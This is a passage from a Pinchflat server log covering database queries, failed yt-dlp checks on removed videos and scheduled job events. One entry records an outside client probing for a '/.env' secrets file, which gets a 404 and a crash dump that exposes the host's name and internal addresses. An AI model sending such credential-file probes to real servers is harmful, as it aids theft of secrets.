s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:24.990 [debug] QUERY OK source="settings" db=0.9ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:24.991 [debug] Running yt-dlp command for action: get_downloadable_status 11:00:24.991 [debug] QUERY OK source="settings" db=0.6ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:24.992 [debug] Running yt-dlp command for action: get_downloadable_status 11:00:24.992 [debug] QUERY OK source="settings" db=0.3ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:24.993 [debug] QUERY OK source="settings" db=0.3ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:24.993 [debug] QUERY OK source="settings" db=0.3ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:24.994 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2obOY-T_uog --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5c/f1/5cf17957e32a75c8c5d10cf518b0fa49b41d6aafbefadc6fc670deff8d5ce3d0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:00:24.994 [debug] QUERY OK source="settings" db=0.6ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:24.995 [debug] QUERY OK source="settings" db=0.5ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:24.995 [debug] QUERY OK source="settings" db=0.4ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:24.996 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=pzwYi9BjBNY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ed/09/ed09005bc43d2c67c387458bd61e10e70c8bf49d84d54c4f3e993201ca9eda64.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:00:24.997 [debug] QUERY OK source="media_items" db=3.5ms idle=1.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 11:00:24.997 [debug] QUERY OK source="media_items" db=0.3ms idle=3.8ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 11:00:25.000 [debug] QUERY OK source="tasks" db=0.4ms idle=4.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2620, 1, ~U[2025-12-12 18:00:24Z], ~U[2025-12-12 18:00:24Z]] 11:00:25.001 [info] {"args":{"id":1},"id":2612,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":6208767,"event":"job:stop","queue_time":640231,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 11:00:28.090 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=pzwYi9BjBNY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ed/09/ed09005bc43d2c67c387458bd61e10e70c8bf49d84d54c4f3e993201ca9eda64.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] pzwYi9BjBNY: Video unavailable. This video has been removed by the uploader 11:00:28.090 [error] yt-dlp download error for media item #89337: "ERROR: [youtube] pzwYi9BjBNY: Video unavailable. This video has been removed by the uploader\n" 11:00:28.090 [error] yt-dlp download will not be retried: "ERROR: [youtube] pzwYi9BjBNY: Video unavailable. This video has been removed by the uploader\n" 11:00:28.091 [info] {"args":{"id":89337},"id":2619,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3110123,"event":"job:stop","queue_time":978029,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 11:00:28.108 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2obOY-T_uog --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5c/f1/5cf17957e32a75c8c5d10cf518b0fa49b41d6aafbefadc6fc670deff8d5ce3d0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 2obOY-T_uog: Video unavailable 11:00:28.108 [error] yt-dlp download error for media item #20219: "ERROR: [youtube] 2obOY-T_uog: Video unavailable\n" 11:00:28.108 [error] yt-dlp download will not be retried: "ERROR: [youtube] 2obOY-T_uog: Video unavailable\n" 11:00:28.109 [info] {"args":{"id":20219},"id":2618,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3128083,"event":"job:stop","queue_time":978029,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 11:00:51.950 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:00.330 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:01:21.952 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:51.954 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:00.331 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:02:21.956 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:51.958 [info] {"source":"oban","duration":1736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:00.332 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:03:21.961 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:51.963 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:00.333 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:04:21.965 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:51.967 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:00.334 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:05:21.969 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:51.971 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:00.336 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:06:21.973 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:51.975 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:00.337 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:07:21.977 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:51.979 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:00.338 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:08:21.981 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:51.983 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:00.339 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:09:21.985 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:51.987 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:00.340 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:10:21.989 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:51.991 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:00.341 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:11:21.993 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:51.995 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:00.342 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:12:21.997 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:51.999 [info] {"source":"oban","duration":1651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:00.343 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:13:22.001 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:52.003 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:00.344 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:14:22.005 [info] {"source":"oban","duration":1083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:52.007 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:00.345 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:15:22.009 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:52.011 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:00.346 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:16:22.013 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:52.015 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:00.347 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:17:22.017 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:52.019 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:00.348 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:18:22.021 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:52.023 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:00.349 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:19:22.025 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:52.027 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:00.350 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:20:22.029 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:52.031 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:00.351 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:21:22.033 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:52.035 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:00.352 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:22:22.037 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:52.039 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:00.353 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:23:22.041 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:52.043 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:00.354 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:24:22.045 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:52.047 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:00.355 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:25:22.049 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:52.051 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:00.356 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:26:22.053 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:52.055 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:00.357 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:27:22.057 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:52.059 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:00.358 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:28:22.061 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:52.063 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:00.359 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:29:22.065 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:43.472 [info] GET /.env 11:29:43.473 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1843.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:29:43.474 [debug] QUERY OK source="settings" db=0.2ms idle=1844.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:29:43.474 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 11:29:43.475 [error] #PID<0.250609.0> running PinchflatWeb.Endpoint (connection #PID<0.250608.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.250608.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 35978}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "identity", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3", "x-forwarded-for" => "204.76.203.25", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "204.76.203.25" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.250609.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept-encoding", "identity"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3"}, {"x-forwarded-for", "204.76.203.25"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "204.76.203.25"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GICLRUAIVEShSZwALo3C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.250608.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 35978}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "identity", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3", "x-forwarded-for" => "204.76.203.25", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "204.76.203.25" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.250608.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 35978}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "identity", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3", "x-forwarded-for" => "204.76.203.25", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "204.76.203.25" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.250609.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept-encoding", "identity"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3"}, {"x-forwarded-for", "204.76.203.25"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-prot (truncated) 11:29:52.067 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:00.360 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:30:22.069 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:52.071 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:00.361 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:31:22.073 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:52.075 [info] {"source":"oban","duration":1760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:00.362 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:32:22.078 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:52.080 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:00.363 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:33:22.082 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:52.084 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:00.364 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:34:22.086 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:52.088 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:00.365 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:35:22.090 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:52.092 [info] {"source":"oban","duration":991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:00.366 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:36:22.094 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:52.096 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:00.367 [info] 